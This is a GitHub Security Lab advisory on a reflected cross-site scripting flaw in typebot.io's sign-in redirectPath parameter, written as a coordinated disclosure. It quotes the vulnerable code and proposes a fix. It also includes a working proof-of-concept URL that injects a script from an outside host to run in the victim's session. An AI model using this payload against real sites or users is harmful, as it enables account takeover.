GitHub Security Lab (GHSL) Vulnerability Report, typebot.io: GHSL-2024-040

The GitHub Security Lab team has identified a potential security vulnerability in typebot.io.

We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2024-040 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

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Summary

A reflected cross-site scripting (XSS) in the sign-in page of typebot.io may allow an attacker to hijack a user's account.

Project

typebot.io

Tested Version

v2.23.0

Details

Reflected XSS in SignInForm.tsx (GHSL-2024-040)

The sign-in page takes the redirectPath parameter from the URL. If a user clicks on a link where the redirectPath parameter has a javascript scheme, the attacker that crafted the link may be able to execute arbitrary JavaScript with the privileges of the user.

export const SignInForm = ({
  defaultEmail,
}: Props & HTMLChakraProps<'form'>) => {
  const { t } = useTranslate()
  const router = useRouter()
  const { status } = useSession()
  const [authLoading, setAuthLoading] = useState(false)
  const [isLoadingProviders, setIsLoadingProviders] = useState(true)

  const [emailValue, setEmailValue] = useState(defaultEmail ?? '')
  const [isMagicLinkSent, setIsMagicLinkSent] = useState(false)

  const { showToast } = useToast()
  const [providers, setProviders] =
    useState<
      Record<LiteralUnion<BuiltInProviderType, string>, ClientSafeProvider>
    >()

  const hasNoAuthProvider =
    !isLoadingProviders && Object.keys(providers ?? {}).length === 0

  useEffect(() => {
    if (status === 'authenticated') {
      router.replace(router.query.redirectPath?.toString() ?? '/typebots')        <------ url redirected to query parameter
      return
    }

This vulnerability was found with the help of CodeQL's Reflected XSS Query

Impact

This issue may lead to Account Takeover.

Remediation

Create an allowlist of approved domains that can be directed to. In this case, ensure that the redirect is to the current domain.

Proof of Concept

The following link will grab a javascript file from localhost and execute it in the context of the current domain. An attacker can use this payload to grab javascript from his host and execute in the domain of the victim.

https://app.typebot.io/signin?redirectPath=javascript:var%20script%20=%20document.createElement(%27script%27);script.src%20=%20%27http://127.0.0.1:8765/alert.js%27;%20document.head.appendChild(script);#//

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at [email protected], please include a reference to GHSL-2024-040 in any communication regarding this issue.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.